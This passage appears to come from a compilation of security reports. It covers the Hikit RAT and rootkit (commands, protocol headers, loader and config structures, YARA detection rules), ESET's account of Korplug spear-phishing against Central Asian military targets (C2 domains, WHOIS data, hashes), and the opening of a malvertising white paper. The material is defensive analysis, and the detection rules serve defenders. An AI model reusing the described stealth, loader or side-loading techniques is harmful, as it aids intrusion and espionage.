+IoCreateDevice +with the name +\Device\agony +(for Gen 2.0 Beta samples), \Device\HTTPS +(for Gen 2.1 samples), +\Device\advcachemgr +(for Gen 2.2 samples) or \Device\diskdump +(for Gen 2.3 samples). The +Driver also creates a symbolic link to the device using the same name but under the +\DosDevices\ +tree. +For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide +network connections on Windows Vista and later decided to keep the example IP address within the +code. +Functionality and Commands +The Hikit family has supported roughly the same set of commands since the first known samples of +Gen 1.0. Gen 2.0 introduced a single command to provide insight into an infected machine +s Hikit +configuration (something that is not necessary for Gen 1 variants since they are server-based). The +RAT supports the following commands: + Command Introduced Description + shell Gen 1.0 Establishes a remote command shell on the victim machine + file Gen 1.0 File managerment + connect Gen 1.0 Establishes a tunnel connection (e.g. port forwarding) through + another Hikit sample + socks5 Gen 1.0 Establishes a forwarding proxy (retired in Gen 1.2) + proxy Gen 1.2 Establishes a forwarding proxy + information Gen 2.0 Returns the configuration for the Hikit infection + Alpha + exit Gen 1.0 Terminates a channel +Command: +shell +shell +command activates a remote shell on the victim +s computer. The remote shell function uses +the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a +hidden command shell. +Command: +file +file +command provides an attacker with a variety of disk access options such as listing +directories, changing the current directory, and uploading and downloading files. +Command: +connect +connect +function provides the functionality to allow one Hikit DLL to interface with another DLL of +a similar version. The use of this functionality can best be illustrated by considering the fact that the +Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen +s RAT function. This would prohibit lateral movement within a victim +s network as the bulk of any +organization +s network infrastructure is not directly exposed to the Internet. By using the connect +command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL +that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit +traffic. +Command: +proxy (Gen 1.2 and later), socks5 +(Gen 1.0 and 1.1) +proxy +socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy. +Command: +information +Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other +operational aspects such as the name of its service and operational times. This information is important +for the attacker to have access to in order to determine if any aspect of the configuration is out of date +(thus requiring a new variant of the Gen 2 binary to be configured and deployed). The +information +command returns to the attacker the complete configuration and current state of the Gen 2 malware. +Command: +exit +As the name implies, the +exit +command causes the DLL to discontinue the current connection. +Hikit Core Analysis +With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model, +understanding how each of the DLL components of the sub-families works is best done, as with the +Driver above, in the context of the specific sub-family. +Gen 1 Analysis +As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the +functionality of the Gen 1 sub-family has remained constant. With the exception of Gen 1.0, the +functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to +achieve the same results). The DLL operates as a service, requiring an attacker is install the DLL as a +service at some point prior to activation. The DLL contains only two exports: DllEntryPoint +DllRegisterServer. +Ultimately, both exports generate a new thread of the same function +mainThread +). The difference between the two exports is that DllRegisterServer +can take an +optional command line argument of the letter + which will instruct the main thread to uninstall the Gen +1 system from a victim +s computer. If the uninstall argument exists, +mainThread +will simply remove the +Driver from the victim +s machine and terminate. The authors of Gen 1 used freely available source code +found online for their removal function.4 +PCAUSA. +Programmatically +Installing +NDIS +Protocol +Drivers +http://www.ndis.com/ndis- +general/ndisinstall/programinstall.htm. +December +2013. +When the DLL activates, either by a call to +DllEntryPoint +or by calling +DllRegisterServer +without the u parameter, +mainThread +begins by verifying the version of the Driver installed on the +victim +s machine. This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit +value with the required driver version. If the version is incorrect (i.e. it doesn +t match the specified +version), the DLL installs the version of the Driver found within the DLL +s resource section (under the +resource tree). +With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will +instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen +1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate +URL. The DLL again checks the version of the Driver and, in some versions of the DLL, will print a +message indicating the version of the Driver installed and report the +Transate version + (the word +translate is misspelled within the binary). It appears that the Driver and the communication protocol +version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL +could be compiled at separate times. If the Driver version is less than the +Transate + version (indicating +that the Driver is a version too old to support the necessary communication protocols), the DLL will, in +some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION +required +along with the current Driver version. Following this, the DLL will then attempt to install the correct +version of the Driver prior to terminating. It is unclear why this code exists given that the DLL will check +the Driver version and correct the Driver if necessary prior to reaching the portion of the code that +reports the +DRIVER_MIN_VERSION. +It is possible that the second Driver version check is a last ditch +effort to ensure the correct Driver is installed. +The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists. A +channel represents an established connection between the Driver and an external party that has +provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value. +When the Driver establishes a new channel, the DLL generates a runtime data structure before +generating a new thread ( +HikitThreadFunc +) which will service any request coming from the new +channel. This allows the DLL to service multiple channels at one time. +The HikitThreadFunc +function is, at its core, a simple wait and respond loop. The function begins by +transmitting a Hikit command prompt to the client (Hikit>) before settling into an infinite loop of + + Read data from channel (wait until data is available) + + [For Gen 1.2] Decrypt the packet header + + Verify the packet header to ensure the communication version is correct and the payload data + size is non-zero + + Read the remainder of the packet (e.g. the payload portion) + + If the packet type field (dwPacketType) is zero, send the payload section to the command + processor. + + Send the Hikit prompt +The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen +1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload. The format of the +Gen 1.0 and Gen 1.1 header is as follows: +struct PacketHeader + char magic[5]; + char zeros[3]; + DWORD dwHikitVersion; + DWORD dwCmdType; + DWORD dwLocale; // omitted in some Gen 1.0 variants + DWORD dwPayloadSize; +While the Gen 1.2 header is: +struct PacketHeader + DWORD key; + DWORD dwHikitVersion; + DWORD dwPacketType; + DWORD dwLocale; + DWORD dwCodePage; + DWORD dwPayloadSize; +For Gen 1.0 and Gen 1.1 samples, the magic field contains the string +.. .. +(two dots followed by a +space then two more dots). Whereas the key field in Gen 1.2 samples contains a 32-bit value that +represents the XOR key for the remainder of the PacketHeader and any additional payload data. The +XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XOR +d against the key +value. +Version checking is important in all Gen 1 variants. The dwHikitVersion +field allows the client and +the DLL to ensure that they have a compatible communication scheme in place prior to executing +commands. +Gen 1 samples have a particular interest in the victim +s locale language preferences. While it is typical +for most RATs that provide remote shells to simply pass data unfiltered from client to server and server +to client without regard to code pages, Gen 1 samples take special care to record the code page and +locale information in each and every packet header that traverses the divide between client and server +and server and client. This could indicate that the authors of Gen 1 understood from an early stage in +the development of Gen 1 that they would be attacking computer systems with different locales and +code pages. +Gen 2 Analysis +The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality. In order for the +DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as +Loader +). The Loader comes in the form of a standard executable image or a DLL image. Despite the +different models, both variants of the Loader load the embedded DLL in the exact same way. The only +difference between the executable and DLL versions of the Loader comes in how they handle the +initialization of the embedded DLL. + + +Figure 1: DLL (left) and executable (right) Loader startup routines +Figure 1 provides a side by side comparison of the startup routines for the executable and DLL +Loaders. Both versions of the Loader begin by loading the embedded DLL from the Loader +s resources +(item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory, +then manually loading the DLL into memory using a custom loading routine. The function +LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation. + + +Figure 2: LoadEmbeddedImage function snippet +The Loader obfuscates many strings by using a simple XOR encoding scheme. Decryption of encoded +strings consists of taking the first value of the string as the XOR key, XOR +ing all subsequent bytes until +the result of the XOR returns 0. The decoding of the encoded strings is handled by the DecodeString +function. +The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image. In +order to locate the embedded DLL, +LoadEmbeddedImage +will use the +DecodeString +function to +decrypt the delimiter string (which is typically +zzzzzzzzzz +yyyyyyyyyy) and then search the icon +resource memory for the delimiter string. Once located, +LoadEmbeddedImage +will use the first 12 +bytes immediately after the string as the information structure about the embedded DLL. The structure +(seen below) defines the size of the embedded DLL within the icon +s resource memory, the size of the +DLL after it is decompressed and a 4-byte XOR key that +LoadEmbeddedImage +must use to decode +the embedded DLL prior to decompression. + struct ImageHeader + { + DWORD dwImageEncodedSize; + DWORD dwImageSizeDecompressed; + DWORD EncodingKey; + }; +LoadEmbeddedImage +copies the compressed embedded DLL into a newly allocated heap buffer and +then calls the function +decodeBuffer +(using the +EncodingKey +value) to decrypt the embedded DLL. +Another heap buffer is allocated with a size equal to the value of +dwImageSizeDecompressed. +decompression buffer along with the now decoded compressed buffer are given to lzo_decompress +which decompresses the compressed image using the LZO1X algorithm5. +With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage +calls +ImageLoaderData::LoadDll +to manually load the DLL into memory. +ImageLoaderData::LoadDll +interprets the PE/COFF header of the DLL image, loads the image +into the appropriate memory configuration, performs the necessary relocation operations, and calls the +DllMain +(DLL +s entry point) function. +After loading the embedded DLL image into memory, the Loader will either call the DLL +StartServer +MatrixMain +function depending on the type of Loader. The standalone Loaders use +MatrixMain +function while the DLL Loaders will call the +StartServer +function. The Loaders, +upon unloading, will call the StopServer function in order to shut down the embedded DLL. +The Gen 2 DLL exposes five exported functions (besides the +DllEntryPoint/DllMain). + Export Name Description + DllRegisterServer If the Gen 2 RAT is running, waits for the RAT to shut down before returning. + MatrixMain Activates the Gen 2 RAT (called from a stand-alone Loader) + SetModuleHandle The given parameter becomes the new module handle for the RAT. + StartServer Activates the Gen 2 RAT (called from a DLL Loader) + StopServer Stops the Gen 2 RAT (called from a DLL Loader) +MatrixMain +StartServer +both ultimately generate a new thread (using the POSIX API function +beginthreadex +instead of the more common +CreateThread) that contains the main loop of the Gen +2 RAT functionality. MatrixMain, however, has added functionality. The prototype for MatrixMain is as +follows: + int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR + lpCmdLine, int nShowCmd)) +Markus +F.X.J. +Oberhumer, +real- +time +data +compression +library +http://www.oberhumer.com/opensource/lzo/. +June +2014. +where Arguments parameter can be: + Arguments string Purpose + test {DWORD identifier (IP?)} Overrides the current configuration with the given + {listening Port} [C2 address] [C2 port] settings. The C2 arguments are optional. + i Installs trojan service + u Uninstalls the trojan service + s Sets the SHOW flag for the service to instruct the + Driver to reveal the service. + h Sets the HIDE flag for the service to instruct the + Driver to hide the service. + q Sets the STOP flag for the RAT. +If the i +parameter is given, the DLL will install itself as a service on the victim +s machine. The DLL will +create a new service (e.g. +Network DDE Service +) and assign itself as the executable for the service. +The DLL +s RAT functionality provides basic features such as network port forwarding (proxying), file +transfer, and remote command shell. The RAT functionality provides an attacker with the ability to +establish a phantom network within a victim +s infrastructure by having individual instances of Gen 2 DLL +listen for incoming connections on local ports (presumably, NAT +d ports) and accept commands from +the inbound connection. This allows an attacker to establish several Gen2 infections within a victim +infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker +can route commands to the pseudo-isolated infections through accessible infected machines providing +a high level of persistence to the malware. Each Gen 2 infection can support up to 10 listening ports. +The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of +the internal routing functionality) is encrypted using a simple DWORD XOR scheme. Each +communication burst (either between the malware and the C2 or the malware and neighboring +malware) begins with a 24-byte header identical to the header found in Gen 1.2. Immediately following +the header is the type-specific (as indicated by the +dwPayloadType field) payload data. Note that the +dwXORKey +value is NOT encoded with the XOR value, but rather is the value that is used for encoding +the header and payload. +Each DLL includes a hardcoded, default configuration. At the time that the RAT functionality activates, +the DLL will drop the current configuration to disk. If the configuration file already exists, then the RAT +will use the file version of the configuration over the default configuration. The configuration data +structure (seen below) doubles as a current state record for some aspects of the communication +subsystem of the DLL. When stored on disk, the configuration is preceded by a GUID value (16 bytes) +that represents the unique identifier for the specific infection. The configuration is XOR encoded using +the first 4 bytes (as a DWORD) of the GUID. + struct Config + { + WCHAR wszComment[32]; + C2ConfigInfo arrC2s[2]; + ListeningPortConfig ListeningPorts[10]; + int dwStartTime; + int dwEndTime; + __int16 Flags; + SYSTEMTIME sleepUntil; + __int16 unused_align2_2; + int fRunHidden; + }; + struct C2ConfigInfo + { + WCHAR wszAddress[32]; + __int16 wPort; + __int16 unused_align2; + int fValidC2; + }; + struct ListeningPortConfig + { + unsigned __int16 wPort; + unsigned __int16 unused_align2; + int fReady; + SOCKET hSocket; + HANDLE hEvent; + HANDLE hListenerThread; + }; +In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows. +The DLL contains a device driver image embedded within an encoded buffer which the RAT +functionality code will extract to the %TEMP% +directory (after XOR +ing the buffer with 0x76). To activate +the rootkit, the RAT functionality code creates a service with the driver in the %TEMP% +directory as the +executable for the service. The RAT functionality code then activates the service and opens a handle to +device driver +s interface (e.g. \Globals\HTTPS). With the handle open to the rootkit driver, the RAT +functionality code deletes the service in order to reduce the visible footprint of the new driver. To further +reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the +rootkit to hide the DLL +s PID, any references to the GUID {4AE26357-79A3-466D-A6D9- +FC38BFB67DEA}, the DLL +s service names (e.g. +NetDDESrv + and "Network DDE Service") and the +service entry as well. Additionally, the code also attempts to hide a service named +Hitx +Support Software +In addition to the main Hikit malware, there are at least two examples of support programs that belong +to the Hikit family. Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and +7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator +consoles. The console is a text based application that takes a Gen 1.0 or Gen 1.2 infection +s IP address +and proceeds to connect and authenticate with the infected server. Once connected, the operator has +the basic Hikit functionalities available to them via commands such as file and shell. +Detection +Detecting Hikit variants on disk and in memory is possible using the following YARA signature +developed by Symantec: +rule hikit + strings: + $hikit_pdb1 = /(H|h)ikit_/ + $hikit_pdb2 = "hikit\\" + $hikit_str3 = "hikit>" wide + $driver = "w7fw.sys" wide + $device = "\\Device\\w7fw" wide + $global = "Global\\%s__HIDE__" wide nocase + $backdr = "backdoor closed" wide + $hidden = "*****Hidden:" wide + condition: + (1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or +$device or $global or $backdr or $hidden) +rule hikit2 + strings: + $magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00} + $magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 + condition: + $magic1 and $magic2 +rule hidkit + strings: + $a = "---HIDE" + $b = "hide---port = %d" + condition: + uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b +Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the +communication structure. The encrypted nature of the nominal Gen 1.2 and later network traffic makes +a signature difficult. Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0 +and Gen 1.1. +From a system objects perspective, Gen 2 samples produce up to three named events. The event +names change per infection, but have a common format. The following three strings represent the +known mutex strings for Gen 2 samples: + Global\%s__SHOW__ + Global\%s__HIDE__ + Global\%s__STOP__ +where the %s format variable is replaced with a UUID value string specific to the infected machine. +Appendix A: HiKit Versions + Generation Starting Date Notable Features + Identifier + Gen 1.0 31 March 2011 First known Hikit samples. Stand-alone console executable. + Gen 1.1 18 April 2011 Uses DLL and driver model. + Gen 2.0 28 August 2011 First client-based Hikit variants. Stand-alone console + Alpha executable. Does not use a device driver. Encrypted + communication. + Gen 1.2 23 October 2011 Command +socks5 + changes to +proxy +. Encrypted + communication. + Gen 2.0 27 February 2012 Introduces the use of the device driver. + Beta + Gen 2.1 17 April, 2012 First known production variant of the Gen 2 family. Uses the + concept of the Loader, the DLL and the Driver as a complete + system. + Gen 2.2 21 February 2013 Changes storage location for configuration file. Largely similar + to Gen 2.1. DLL-based and executable-based loaders. Largest + in-service time span. + Gen 2.3 12 December Significantly more advanced authentication when doing intra- + 2013 malware communication. Use of SSL certificate during + handshake. +Korplug military targeted attacks: Afghanistan & Tajikistan +After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns +employing this well-known Remote Access Trojan. This blog gives an overview of the first one, related to +Afghanistan & Tajikistan. The other campaign, where the targets were a number of high-profile +organizations in Russia, will be the subject of Anton Cherepanov +s presentation at the ZeroNights +security conference in Moscow this week. +Sometimes malware used in various attacks is unique enough to identify related incidents, which makes +tracking individual botnets simpler. An example is the BlackEnergy Lite variant (also known as +BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) +against targets in Ukraine and other countries. BlackEnergy Lite is clearly distinguishable from the +numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild. +In other cases, attackers use more common tools for accomplishing their criminal goals. For example, the +Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a +large number of targeted attacks since 2012. For the past several weeks we have taken a closer look at a +great number of detections of this malware in many unrelated incidents. +Among these, we were able to discover several successful infections where the employed Korplug samples + were connecting to the same C&C domain. +DOMAIN: www.notebookhk.net +Updated Date: 2013-11-12 18:03:45 +Create Date: 2013-06-18 11:08:17 +Registrant Name: lee stan +Registrant Organization: lee stan +Registrant Street: xianggangdiqu +Registrant City: xianggangdiqu +Registrant State: xianggang +Registrant Postal Code: 796373 +Registrant Country: HK +Registrant Phone : +0.04375094543 +Registrant Fax: +0.04375094543 +Registrant Email:stanlee@gmail.com +Other Korplug samples were connecting to a different domain name resolving to the same IPs as +notebookhk.net: +DOMAIN: www.dicemention.com +Updated Date: 2013-11-12 18:05:33 +Create Date: 2013-09-10 14:35:11 +Registrant Name: z x +Registrant Organization: z x +Registrant Street: xianggangdiqu +Registrant City: xianggangdiqu +Registrant State: xianggang +Registrant Postal Code: 123456 +Registrant Country: HK +Registrant Phone : +0.0126324313 +Registrant Fax: +0.0126324313 +Registrant Email: 123@123.com +DOMAIN: www.abudlrasul.com +Updated Date: 2014-10-16 14:16:27 +Create Date: 2014-10-16 14:16:27 +Registrant Name: gang xin +Registrant Organization: gang xin + Registrant Street: Argentina Argentina +Registrant City: Argentina +Registrant State: Argentina +Registrant Postal Code: 647902 +Registrant Country: AR +Registrant Phone : +54.0899567089 +Registrant Fax: +54.0899567089 +Registrant Email: woffg89@yahoo.com +Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various +exploit-laden spear-phishing documents and cunningly-named archives. +A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is +shown below: + English + File name SHA1 + translation + Situation Report about + 36119221826D0290BC23371B55A8C0E6A84718DD + Afghan.doc + AGREEMENT BETWEENTHE + NATO AND AFGHANISTAN + ON THE STATUS OF NATO A6642BC9F3425F0AB93D462002456BE231BB5646 + FORCES IN + AFGHANISTAN.doc + news.doc 51CDC273B5638E06906BCB700335E288807744B5 + Activity plan for + military units in the + EA6EE9EAB546FB9F93B75DCB650AF22A95486391 + Volga region in July + 2014 +.scr 2014 + Telephone directory + of the Ministry of + D297DC7D29E42E8D37C951B0B11629051EEBE9C0 + .scr Foreign Affairs of + the Kyrgyz Republic + About the Center for + social adaptation of 8E5E19EBE719EBF7F8BE4290931FFA173E658CB8 +.scr servicemen + Meeting minutes of + the General Staff of 1F726E94B90034E7ABD148FE31EBA08774D1506F +.scr + the PRC + Corrected action + A9C627AA09B8CC50A83FF2728A3978492AEB79D8 +.scr plan template + Situation Report about + A9C627AA09B8CC50A83FF2728A3978492AEB79D8 + Afghan.scr + Military and political + situation in Islamic + Republic of E32081C56F39EA14DFD1E449C28219D264D80B2F +04.10.2014.scr Afghanistan (IRA) + on 04.10.2014 + Afghan Air Force.scr E32081C56F39EA14DFD1E449C28219D264D80B2F +.scr Action plan 1F726E94B90034E7ABD148FE31EBA08774D1506F +Some of the above-mentioned files also contained decoy documents: +In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug +trojan being loading into memory. + exe + a legitimate executable with a Kaspersky digital signature that would load a DLL with a + specific file name + dll + a small DLL loader that would pass execution to the Korplug raw binary code + dll.avp + raw Korplug binary +The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables +and is a way to stay under the radar, since a trusted application with a valid signature among startup items +is less likely to raise suspicion. +The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability +in Microsoft Word. The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII +encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp). +Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively +used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, +Sednit, MiniDuke, and others). However, this exploit is not implemented correctly due to a wrong file +offset in the 1st stage shellcode. +Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag +p!11 +marking the beginning of the 2nd stage shellcode and loads it into memory. Even though the tag and 2nd +stage shellcode is present in the RTF, it +s at a different offset, and thus never is loaded. +Sophos + Gabor Szappanos gives a possible explanation how these malformed samples may have come into + existence. +ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least +June 2014 and continue through today. +We were able to pinpoint the targets to residents of the following countries: + Afghanistan + Tajikistan + Russia + Kyrgyzstan + Kazakhstan +From the topics of the files used to spread the malware, as well as from the affected targets, it appears that +the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and +diplomatic subjects. +Interestingly, most of the affected victims have another thing in common + a number of other RATs, file +stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection. One of +these +alternative RATs + was connecting to a domain also used by the Korplug samples. +Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering +whether the attackers were just experimenting with different RATs or were they supplementing some +functionality that they were unable to accomplish. +Additional information about two malware families that were most often found accompanying Korplug +infections is given below. +Alternative Malware #1: DarkStRat +A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens +to are in Spanish (translation in English): + CERRAR (close) + DESINSTALAR (uninstall) + SERVIDOR (server) + INFO + MAININFO + PING + REBOOT + POWEROFF + PROC + KILLPROC + VERUNIDADES (see units) + LISTARARCHIVOS (list files) + EXEC + DELFILE + DELFOLDER + RENAME + MKDIR + CAMBIOID (change ID) + GETFILE/SENDFILE/RESUMETRANSFER + SHELL + SERVICIOSLISTAR (list service) + INICIARSERVICIO (start service) + DETENERSERVICIO (stop service) + BORRARSERVICIO (erase service) + INSTALARSERVICIO (install service) +The malware can manage processes and services on the infected machine, transfer files to and from the +C&C server, run shell commands, and so on. It is written in Delphi and connects to +www.dicemention.com. Some samples contain a digital signature by +Nanning weiwu Technology co.,ltd +Alternative Malware #2: File Stealer +This malware, written in C, and contains several functions for harvesting files off the victim +s hard drive +according to criteria set in the configuration file. Apart from doing a recursive sweep of all logical fixed +and remote drives, it also continually monitors any attached removable media or network shares by +listening to DBT_DEVICEARRIVAL events. +In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, +account information and proxy information from the following applications: + Microsoft Messenger + Microsoft Outlook + Microsoft Internet Explorer + Mozilla Firefox +The C&C domains used by this malware are: + newvinta.com + worksware.net +Some samples of this file stealer detected in these campaigns also contain the signature by +Nanning +weiwu Technology co.,ltd + another indicator that the infections are related. +List of SHA1 hashes: +Korplug: +5DFA79EB89B3A8DDBC55252BD330D04D285F9189 +095550E3F0E5D24A59ADD9390E6E17120039355E +5D760403108BDCDCE5C22403387E89EDC2694860 +05BFE122F207DF7806EB5E4CE69D3AEC26D74190 +548577598A670FFD7770F01B8C8EEFF853C222C7 +530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 +F6CB6DB20AA8F17769095042790AEB60EECD58B0 +EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F +17CA3BBDDEF164E6493F32C952002E34C55A74F2 +973EA910EA3734E45FDE304F20AB6CF067456551 +47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 +0B5A7E49987EF2C320864CF205B7048F7032300D +E81E0F416752B336396294D24E639AE86D9C6BAA +E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 +Alternative Malware #1: +FDD41EB3CBB631F38AC415347E25926E3E3F09B6 +457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD +5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 +7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 +D7D130B8CC9BEA51143F28820F08068521763494 +01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 +02C38EC1C67098E1F6854D1125D3AED6268540DE +Alternative Malware #2: +3A7FB6E819EEC52111693219E604239BD25629E9 +BF77D0BA7F3E60B45BD0801979B12BEA703B227B + 55EF67AFA2EC2F260B046A901868C48A76BC7B72 +A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 +34754E8B410C9480E1ADFB31A4AA72419056B622 +17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F +6D99ACEA8323B8797560F7284607DB08ECA616D8 +1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C +1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE +5860C99E5065A414C91F51B9E8B779D10F40ADC4 +7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 +Research by: Anton Cherepanov +Author Robert Lipovsky, ESET + DETECTION | PREVENTION | INTELLIGENCE + Invincea White Paper +Micro-Targeted Malvertising via Real-time Ad Bidding +UPDATED: Includes New CryptoWall Malvertising Campaign + Release date: October 27, 2014 + Invincea White Paper + Invincea, Inc. + Invincea White Paper 1 +Table of Contents +Executive Summary ............................................................................................................... 2 +Introduction .......................................................................................................................... 3 + Operation DeathClick: Targeting the US Industrial Base ...................................................................4 + Summary for Incident at Fleaflicker.com .........................................................................................4 + Summary for Incident at Gpokr.com ...............................................................................................9 + Summary for Webmail.earthlink.net ............................................................................................. 11 + Summary of Incidents in Operation DeathClick ............................................................................. 13 +Real-Time Bidding Networks: How it works .......................................................................... 13 + Malvertisers have Weaponized RTB ............................................................................................. 16 + Competitive Service Offerings for RTB .......................................................................................... 16 + Major Players in RTB .................................................................................................................... 20 + How Malvertisers Get $$ to Bid on RTB ......................................................................................... 21 + Where Malvertisers Host Exploits ................................................................................................. 22 + Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23 +Ransomware Campaign via Malvertising ............................................................................. 26 + Analysis of CryptoWall Malvertising Infections .............................................................................. 27 +Central Hosting of Clean Content ......................................................................................... 30 +How to Protect Yourself from Micro-targeted Malvertising ................................................. 31 +Release Notes...................................................................................................................... 32 +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 2 +Executive Summary +Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style +web driveby attacks. Within the last six months, Invincea has discovered and stopped targeted +malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base. The +combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense +industrials for theft of IP represents another development in the on-going blending of techniques from +cyber crime and advanced threat actors with nation state agendas. We are tracking an on-going campaign +against US Defense companies under the code name Operation DeathClick. +Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to +compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft. In this new +targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging real- +time ad bidding networks and micro-targeting techniques developed over the last decade in online +advertising. The objective of these micro-targeted attacks against the Defense sector is likely theft of +Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of +advanced threat actors. Since these attacks were blocked by Invincea prior to compromise of the machine +or network, we cannot confirm the specific IP the perpetrators are after + only the Tactics, Techniques, +and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access +and command and control over compromised networks. +While we discovered these attacks across multiple Defense companies, we expect it will not be long, if +not already, before other highly targeted segments including Federal, Financial Services, Manufacturing, +and HealthCare are victimized with the same micro-targeted malvertising. The campaign described here +does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the +adversary +s capabilities and strategy to leverage legitimate online advertising platforms on well-known ad +supported websites via a technique called Real-Time Ad Bidding. In other words, this problem will not be +patched on Tuesday. +UPDATE: We have updated this document to include a new section on a campaign of distributing +CryptoWall ransomware via malvertising. While the attack vector is the same, we believe this to be +motivated by cybercrime rather than theft of IP from Defense companies. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 3 +Introduction +Malvertising has seen meteoric rise in 2014. Threat actors create a corporate front, advertise on +commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit +kits, or simply create a temporary redirection from their usual content to the malicious landing page. +These exploit kits are hosted on compromised web servers across the world. In other words, they leverage +legitimate ad-supported popular websites together with compromised websites for hosting exploit +landing pages, defeating black-listing techniques. The lifetime of these ads and landing pages are +measured in hours. +In the campaign described here, Operation DeathClick, traditional malvertising has been armed with a +micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests +of the user (recorded in cookies) to target specific companies, company types, and user +interests/preferences. They are employing the tactics of real-time ad bidding to guarantee malicious ad +delivery to intended targets of the campaign + building on a decade of work in real-time analytics for +online ad placement, but for nefarious purposes. +The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages +forever. This means that list-based threat intelligence feeds are rendered ineffective. The domains used +do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always +employ different signatures, evading traditional network and endpoint detection technology. +Ad delivery networks today are not incentivized to address the problem in a credible manner as they +derive revenue from the criminal enterprise, while not being held accountable. Turning a blind eye to the +problem is rewarded economically. Meanwhile the perpetrators are able to use traditional malvertising +and ad fraud bots to fund the criminal enterprise. +Without cooperation of ad networks to vet the advertisers working through front companies, this attack +vector will go unchecked. And now, with the advent of real-time ad bidding, these threat actors have +weaponized ad delivery networks to target victims based on: + + User-Agent strings (versions of flash, OS, java and browser) + + Interest-related content (click bait articles, industry specific software or hardware, like medical + supplies, radar mapping software, ammunition sales, stocks forums) + + Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes, + handbags, cars, luxury vacations) + + Geographic region (malvertisers can target specific neighborhoods or states via geoip direct + advertising) + + Specific corporate IP ranges 